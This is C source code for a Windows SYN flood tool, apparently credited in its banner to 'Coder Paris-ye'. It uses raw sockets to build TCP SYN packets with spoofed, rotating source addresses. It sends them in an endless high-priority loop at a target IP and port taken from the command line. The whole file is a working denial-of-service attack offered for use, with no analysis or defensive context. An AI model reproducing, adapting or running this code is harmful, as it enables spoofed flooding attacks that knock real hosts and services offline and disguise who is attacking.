#include <winsock2.h>#include <Ws2tcpip.h> #include <windows.h>#include <stdio.h>#pragma comment(lib,"ws2_32")#pragma comment(lib,"wsock32")#define FAKE_IP "201.79.131.18" #define SEQ 0x28376839#define right "===============Coder Paris-ye====================\n"USHORT checksum(USHORT *buffer, int size);int flood();typedef struct tcphdr{USHORT th_sport;USHORT th_dport;unsigned int th_seq;unsigned int th_ack;unsigned char th_lenres;unsigned char th_flag;USHORT th_win;USHORT th_sum;USHORT th_urp;}TCP_HEADER; typedef struct iphdr{unsigned char h_verlen;unsigned char tos;unsigned short total_len;unsigned short ident;unsigned short frag_and_flags;unsigned char ttl;unsigned char proto;unsigned short checksum;unsigned int sourceIP;unsigned int destIP;}IP_HEADER;struct{unsigned long saddr;unsigned long daddr;char mbz;char ptcl;unsigned short tcpl;}PSD_HEADER; WSADATA wsaData;SOCKET sockMain = (SOCKET) NULL;int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;unsigned short activPort=40000;struct sockaddr_in sockAddr;TCP_HEADER tcpheader;IP_HEADER ipheader;char sendBuf[128];USHORT checksum(USHORT *buffer, int size){unsigned long cksum=0;while(size >1) {cksum+=*buffer++;size-=sizeof(USHORT);}if(size) cksum+=*(UCHAR*)buffer;cksum=(cksum >> 16)+(cksum&0xffff);cksum+=(cksum >>16);return (USHORT)(~cksum); }int main(int argc,char* argv[]){int portNum=0;DWORD dw;HANDLE hThread=NULL;char putInfo;if(argc!=3){printf("%s\n",right);printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);return 1;}if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ printf("WSAStartup failed: %d\n",ErrorCode); return 2;}sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if(sockMain==INVALID_SOCKET){printf("Socket failed: %d\n",WSAGetLastError());return 3;}ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));if(ErrorCode==SOCKET_ERROR){ printf("Set sockopt failed: %d\n",WSAGetLastError());return 4;}ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));if(ErrorCode==SOCKET_ERROR){ printf("Set sockopt time out failed: %d\n",WSAGetLastError());return 5;}portNum=atoi(argv[2]);memset(&sockAddr,0,sizeof(sockAddr));sockAddr.sin_family=AF_INET;sockAddr.sin_addr.s_addr =inet_addr(argv[1]);FakeIpNet=inet_addr(FAKE_IP);FakeIpHost=ntohl(FakeIpNet);ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));ipheader.ident = 1;ipheader.frag_and_flags = 0;ipheader.ttl = 128;ipheader.proto = IPPROTO_TCP;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);ipheader.destIP = inet_addr(argv[1]);tcpheader.th_dport=htons(portNum);tcpheader.th_sport = htons(portNum);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_ack = 0;tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);tcpheader.th_flag = 2;tcpheader.th_win = htons(16384);tcpheader.th_urp = 0;tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;PSD_HEADER.daddr=ipheader.destIP;PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP;PSD_HEADER.tcpl=htons(sizeof(tcpheader));printf("%s\n",right);hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);ResumeThread(hThread);printf("Warning[start]...........\nPress any key to stop!\n");putInfo=getchar();TerminateThread(hThread,0);WSACleanup();printf("\nStopd...........\n");return 0;}int flood(){while(1){if(SendSEQ++==65536) SendSEQ=1;if(activPort++==40010) activPort=1000;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_sport = htons(activPort);tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));memcpy(sendBuf,&ipheader,sizeof(ipheader));memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);dataSize=sizeof(ipheader)+sizeof(tcpheader);ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);memcpy(sendBuf,&ipheader,sizeof(ipheader));ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));if(ErrorCode==SOCKET_ERROR){printf("\nCan't connect this IP!Pls check it.\n");ExitThread(1);}// Sleep(1000);}return 0;}
